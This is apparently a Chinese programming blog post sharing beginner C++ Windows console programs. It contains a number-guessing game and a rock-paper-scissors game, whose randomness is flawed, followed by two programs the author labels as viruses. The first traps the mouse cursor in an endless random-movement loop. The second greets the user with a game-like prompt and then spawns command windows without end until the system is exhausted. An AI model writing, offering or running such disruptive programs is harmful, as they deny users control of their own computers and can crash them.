c++游戏

2 篇文章 0 订阅

猜数字游戏:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	int s=0,b,i=1,a;
	s=rand()%999+1;
	system("color 0F");
    printf("按任意键开始");
    system("cls");
    printf("等待加载...\n0");
    Sleep(500);
    system("cls");
    printf("准备加载...\n▊15");
    Sleep(700);
    system("cls");
    printf("加载资源中...\n█▎25");
    Sleep(600);
    system("cls");
    printf("加载资源中...\n██▊55");
    Sleep(400);
    system("cls");
    printf("加载资源中...\n███▌70");
    Sleep(300);
    system("cls");
    printf("加载资源中...\n███▊75");
    Sleep(1500);
    system("cls");
    printf("正在加载章节...\n████▌90");
    Sleep(400);
    system("cls");
    printf("正在加载章节...\n█████100");
    Sleep(1000);
    system("cls");
    printf("正在进入游戏...\n█████100");
    Sleep(3000);
    system("cls");
    printf("猜数字游戏\n");
    Sleep(1000);
    printf("出品人:zjh20130917\n");
    Sleep(1000);
    printf("版本:最高版本\n");
    Sleep(1000);
    while(true){
	    system("cls");
        cout<<"欢迎来到猜数字游戏。"<<endl;
        cout<<"开始游戏(1)"<<endl<<"结束游戏(0)"<<endl;
        cin>>a;
        system("cls");
        if(a==1){
    	    cout<<3;
        	Sleep(1000);
        	system("cls");
    	    cout<<2;
        	Sleep(1000);
        	system("cls");
    	    cout<<1;
        	Sleep(1000);
        	system("cls");
    	    cout<<"游戏开始!";
    	}else{
	    	cout<<"是否退出"<<endl;
		    cout<<"是(1)"<<" "<<"否(0)";
    		cin>>a;
	    	if(a==1){
		        printf("等待加载...\n0");
                Sleep(500);
                system("cls");
                printf("准备加载...\n▊15");
                Sleep(700);
                system("cls");
                printf("加载资源中...\n█▎25");
                Sleep(600);
                system("cls");
                printf("加载资源中...\n██▊55");
                Sleep(400);
                system("cls");
                printf("加载资源中...\n███▌70");
                Sleep(300);
                system("cls");
                printf("加载资源中...\n███▊75");
                Sleep(1500);
                system("cls");
                printf("正在退出游戏...\n████▌90");
                Sleep(400);
                system("cls");
                printf("正在退出游戏...\n█████100");
                Sleep(1000);
                system("cls");
                printf("正在退出游戏...\n█████100");
                Sleep(3000);
                system("cls");
                printf("退出成功!欢迎下次游玩!"); 
                Sleep(1000);
                return 0; 
            }else{
	    		cout<<"开始游戏(1)"<<endl<<"结束游戏(0)"<<endl;
                cin>>a;
                if(a==1){
                	cout<<3;
            	    Sleep(1000);
            	    system("cls");
                	cout<<2;
            	    Sleep(1000);
        	        system("cls");
            	    cout<<1;
                  	Sleep(1000);
    	            system("cls");
        	        cout<<"游戏开始!";
    			}else{
	    			printf("等待加载...\n0");
                    Sleep(500);
                    system("cls");
                    printf("准备加载...\n▊15");
                    Sleep(700);
                    system("cls");
                    printf("加载资源中...\n█▎25");
                    Sleep(600);
                    system("cls");
                    printf("加载资源中...\n██▊55");
                    Sleep(400);
                    system("cls");
                    printf("加载资源中...\n███▌70");
			        Sleep(300);
                    system("cls");
                    printf("加载资源中...\n███▊75");
                    Sleep(1500);
                    system("cls");
                    printf("正在退出游戏...\n████▌90");
                    Sleep(400);
                    system("cls");
                    printf("正在退出游戏...\n█████100");
                    Sleep(1000);
                    system("cls");
                    printf("正在退出游戏...\n█████100");
                    Sleep(3000);
                    system("cls");
                    printf("退出成功!欢迎下次游玩!"); 
                    Sleep(1000);
                    return 0; 
		    	}
		    }
	    }
	    Sleep(1000);
    	system("cls");
    	do{
    		cout<<"等会,是<1>否<0>进入上帝模式?";
    		cin>>a;
			if(a==1){
				cout<<"已进入上帝模式";
				Sleep(1000);
				system("cls");
    	        cout<<"正确数字是:"<<s<<endl;
	            cout<<"你要输入:";
    	    	cin>>b; 
	    	    if(b==s){
		    	    cout<<"正确"<<endl<<"游戏结束"; 
    			    break;
        		}else if(b>s){
		    		cout<<"大了"; 
			    }else{
    				cout<<"小了"; 
	    		}
		    }else{
		    	cout<<"乖孩子,给你个提示:答案范围在"<<s-200<<"到"<<s+200<<"内"; 
		    	Sleep(1000);
		    	system("cls");
		    	cout<<"正确数字是:***"<<endl;
	            cout<<"你要输入:";
    	    	cin>>b; 
	    	    if(b==s){
		    	    cout<<"正确"<<endl<<"游戏结束"; 
    			    break;
        		}else if(b>s){
		    		cout<<"大了"; 
			    }else{
    				cout<<"小了"; 
	    		}
			}
	    	Sleep(700);
		    system("cls");
	    }while(true);
	    cout<<"是<1>否<0>继续";
		cin>>a;
		if(a==0){
			printf("等待加载...\n0");
            Sleep(500);
            system("cls");
            printf("准备加载...\n▊15");
            Sleep(700);
            system("cls");
            printf("加载资源中...\n█▎25");
            Sleep(600);
            system("cls");
            printf("加载资源中...\n██▊55");
            Sleep(400);
            system("cls");
            printf("加载资源中...\n███▌70");
			Sleep(300);
            system("cls");
            printf("加载资源中...\n███▊75");
            Sleep(1500);
            system("cls");
            printf("正在退出游戏...\n████▌90");
            Sleep(400);
            system("cls");
            printf("正在退出游戏...\n█████100");
            Sleep(1000);
            system("cls");
            printf("正在退出游戏...\n█████100");
            Sleep(3000);
            system("cls");
            printf("退出成功!欢迎下次游玩!"); 
            Sleep(1000);
            return 0; 
		} 
	}
	    return 0; 
}
//                         __
//                        / /
//                       / /         __
//                      / /         / /
//     ________________/ /_________/ /__
//    / □□□□□□□□□□□□□□□□\
//   <  □□□□□□□□□□□□□□□□ >
//    \________________________________/ 
//                     \ \         \ \
//                      \ \         \_\                         .
//                       \ \                
//                        \_\        
// 本人标记

石头剪刀布游戏:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	int s,b,i=1,a,mine=0,your=0,sum;
	system("color 0F");
    printf("按任意键开始");
    system("cls");
    printf("等待加载...\n0");
    Sleep(500);
    system("cls");
    printf("准备加载...\n▊15");
    Sleep(700);
    system("cls");
    printf("加载资源中...\n█▎25");
    Sleep(600);
    system("cls");
    printf("加载资源中...\n██▊55");
    Sleep(400);
    system("cls");
    printf("加载资源中...\n███▌70");
    Sleep(300);
    system("cls");
    printf("加载资源中...\n███▊75");
    Sleep(1500);
    system("cls");
    printf("正在加载章节...\n████▌90");
    Sleep(400);
    system("cls");
    printf("正在加载章节...\n█████100");
    Sleep(1000);
    system("cls");
    printf("正在进入游戏...\n█████100");
    Sleep(3000);
    system("cls");
    printf("剪刀石头布游戏\n");
    Sleep(1000);
    printf("出品人:zjh20130917\n");
    Sleep(1000);
    printf("版本:1.4.1\n");
    Sleep(1000);
    
	    system("cls");
        cout<<"欢迎来到剪刀石头布游戏。"<<endl;
        cout<<"开始游戏(1)"<<endl<<"结束游戏(0)"<<endl;
        cin>>a;
        system("cls");
        if(a==1){
    	    cout<<3;
        	Sleep(1000);
        	system("cls");
    	    cout<<2;
        	Sleep(1000);
        	system("cls");
    	    cout<<1;
        	Sleep(1000);
        	system("cls");
    	    cout<<"游戏开始!";
    	    Sleep(1000);
    	    system("cls");
    	    cout<<"你要玩几局:";
			cin>>sum; 
    	}else{
	    	cout<<"是否退出"<<endl;
		    cout<<"是(1)"<<" "<<"否(0)";
    		cin>>a;
	    	if(a==1){
		        printf("等待加载...\n0");
                Sleep(500);
                system("cls");
                printf("准备加载...\n▊15");
                Sleep(700);
                system("cls");
                printf("加载资源中...\n█▎25");
                Sleep(600);
                system("cls");
                printf("加载资源中...\n██▊55");
                Sleep(400);
                system("cls");
                printf("加载资源中...\n███▌70");
                Sleep(300);
                system("cls");
                printf("加载资源中...\n███▊75");
                Sleep(1500);
                system("cls");
                printf("正在退出游戏...\n████▌90");
                Sleep(400);
                system("cls");
                printf("正在退出游戏...\n█████100");
                Sleep(1000);
                system("cls");
                printf("正在退出游戏...\n█████100");
                Sleep(3000);
                system("cls");
                printf("退出成功!欢迎下次游玩!"); 
                Sleep(1000);
                return 0; 
            }else{
	    		cout<<"开始游戏(1)"<<endl<<"结束游戏(0)"<<endl;
                cin>>a;
                if(a==1){
                	cout<<3;
            	    Sleep(1000);
            	    system("cls");
                	cout<<2;
            	    Sleep(1000);
        	        system("cls");
            	    cout<<1;
                  	Sleep(1000);
    	            system("cls");
        	        cout<<"游戏开始!";
        	        Sleep(1000);
        	        system("cls");
        	        cout<<"你要玩几局:";
					cin>>sum; 
    			}else{
	    			printf("等待加载...\n0");
                    Sleep(500);
                    system("cls");
                    printf("准备加载...\n▊15");
                    Sleep(700);
                    system("cls");
                    printf("加载资源中...\n█▎25");
                    Sleep(600);
                    system("cls");
                    printf("加载资源中...\n██▊55");
                    Sleep(400);
                    system("cls");
                    printf("加载资源中...\n███▌70");
			        Sleep(300);
                    system("cls");
                    printf("加载资源中...\n███▊75");
                    Sleep(1500);
                    system("cls");
                    printf("正在退出游戏...\n████▌90");
                    Sleep(400);
                    system("cls");
                    printf("正在退出游戏...\n█████100");
                    Sleep(1000);
                    system("cls");
                    printf("正在退出游戏...\n█████100");
                    Sleep(3000);
                    system("cls");
                    printf("退出成功!欢迎下次游玩!"); 
                    Sleep(1000);
                    return 0; 
		    	}
		    }
	    }
	    Sleep(1000);
    	system("cls");
    	for(int i=1;i<=sum;i++){
	        cout<<"你要出石头(0)剪刀(1)布(2):";
	        cin>>b;
	        cout<<"people坤要出:";
	        s=rand()%2;
	        if(s==0){
	        	cout<<"石头"<<endl; 
			}else if(s==1){
				cout<<"剪刀"<<endl; 
			}else if(s==2){
				cout<<"布"<<endl; 
			}
			if((b==0&&s==2)||(b==1&&s==0)||(b==2&&s==1)){
				cout<<"你输了";
				Sleep(1000);
				system("cls");
				your++; 
			}else if((s==0&&b==2)||(s==1&&b==0)||(s==2&&b==1)){
				cout<<"你赢了";
				Sleep(1000);
				system("cls");
				mine++;  
			}else{
				cout<<"平局";
				Sleep(1000);
				system("cls"); 
			} 
	    }
	    cout<<"最终比分是:";
		cout<<mine<<" : "<<your;
		if(mine>your){
		    cout<<"你赢了"<<endl;
			cout<<"你比他多赢了"<<mine-your<<"局";
		}else if(your>mine){
			cout<<"你输了"<<endl;
			cout<<"你比他多输了"<<your-mine<<"局";
		}else{
			cout<<"平局"; 
		} 
	    return 0; 
}
//                         __
//                        / /
//                       / /         __
//                      / /         / /
//     ________________/ /_________/ /__
//    / □□□□□□□□□□□□□□□□\
//   <  □□□□□□□□□□□□□□□□ >
//    \________________________________/ 
//                     \ \         \ \
//                      \ \         \_\                         .
//                       \ \                
//                        \_\        
// 本人标记

病毒①:

#include<windows.h>
#include<cstdlib>
#include<bits/stdc++.h>
using namespace std;
int main(){
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    int p = 0;
    p = p * 10 + 5;
    p = p * 10 + 4;
    p = p * 10 + 1;
    p = p * 10 + 8;
    p = p * 10 + 8;
    while(p){
        SetCursorPos(rand()%x,rand()%y);
    }
    return 0;
}

病毒②:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
	int a;
	cout<<"欢迎使用颠佬战士";
	Sleep(1000); 
	system("cls");
	cout<<"是<1>否<0>开始:";
	cin>>a;
	while(true){
    	system("start cmd");
	}	
	return 0;
}

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值